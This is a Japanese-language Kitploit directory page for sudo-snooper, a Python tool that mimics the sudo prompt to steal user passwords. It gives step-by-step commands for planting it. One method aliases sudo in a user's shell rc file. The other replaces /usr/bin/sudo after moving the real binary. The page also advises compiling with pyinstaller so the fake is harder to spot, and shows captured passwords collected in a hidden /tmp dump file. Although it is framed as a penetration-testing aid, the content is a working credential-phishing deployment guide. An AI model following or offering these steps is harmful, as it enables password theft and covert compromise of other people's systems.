Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
sudo-snooper — オリジナルのsudoバイナリのように振る舞い、ユーザーを騙してパスワードを入力させるPythonスクリプト | Kitploit
ツール/GitHubGitHub/xorond/sudo-snooper
フィッシングツールパスワード攻撃ペネトレーションテストソーシャルエンジニアリング
GitHubxorond/sudo-snooper

sudo-snooper

オリジナルのsudoバイナリのように振る舞い、ユーザーを騙してパスワードを入力させるPythonスクリプト

リポジトリを見る
70346年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

sudo-snooper

sudo-snooperは、本来のsudoバイナリのように動作し、ユーザーを騙してパスワードを入力させるものです。

オリジナルと同様の偽のプロンプトを表示し、sudoパスワードを入力させます。

これは、ペネトレーションテストやセキュリティ評価において、ユーザーの知識をテストする際に有用です。

インストール手順

オプション1 - sudoコマンドにエイリアスを設定する(簡単だが、やや気づかれやすい)

このオプションは簡単で移植性が高いですが、注意深いユーザーには気づかれやすい可能性があります。

ユーザーが使用しているシェルの.rcファイル(.bashrc、.zshrcなど)を編集し、以下を追加します。

root@kitploit:~
alias sudo='python3 /path/to/sudo-snooper.py'

sudo-snooper.pyに正しいパーミッションが設定されていることを確認してください。

オプション2 - 本物のsudoの代わりにインストールする(難しいが、より目立たない)

このインストールオプションにはrootアクセスが必要です

これは、すでにrootアクセスを持っているが、何らかの理由で/etc/shadowからハッシュを解読できない場合にのみ有効です。基本的に、ユーザーからパスワードをフィッシングすることができます。

  • 元のsudoバイナリを別の名前に移動します
root@kitploit:~
# mv /usr/bin/sudo /usr/bin/somename
  • ファイル内のパラメータを必要に応じて変更します

sudo-snooper.py内で以下を変更してください。

root@kitploit:~
dumpdir = "/tmp/.snooper"
dumpfile = "/tmp/.snooper/dump.txt"
sudo = 'sudo'
  • pythonファイルを /usr/bin/sudo(またはsudoが元々あった場所)にインストールします
root@kitploit:~
# install -dm755 sudo-snooper.py /usr/bin/sudo
  • pythonファイルに必要なパーミッションを付与します

    ここでは凝ったことをして、ユーザーには読み取り不可で実行可能なファイルにすることもできますが、それについては説明しません。その方法については、こちらの回答を参照してください。

注意: より説得力のあるインストール方法は、pyinstallerを使用してコンパイルし、file /usr/bin/sudoを実行したときにPythonファイルとして表示されないようにすることです。

Archlinuxでこれを行うには、pyinstaller --onefile sudo-snooper.pyが動作します。ただし、コンパイル後はコンパイル済みバイナリのパラメータを変更できなくなることに注意してください。

使用方法:

インストール後、sudo-snooperは通常のsudoと同じように呼び出すことができます。

例えば、以下のコマンドを実行すると

root@kitploit:~
sudo vim /etc/resolv.conf

sudo-snooperが呼び出されます(適切にインストールされている場合)。

ユーザーパスワードを要求し、パスワードが正しければ、実際のsudoバイナリにリダイレクトしてコマンドを実行します。

その後、設定で指定したダンプファイルを読み取ることで、ユーザーパスワードを取得できます。

TODO:

  • ユーザーが間違ったパスワードを入力した場合の処理
ツールをダウンロード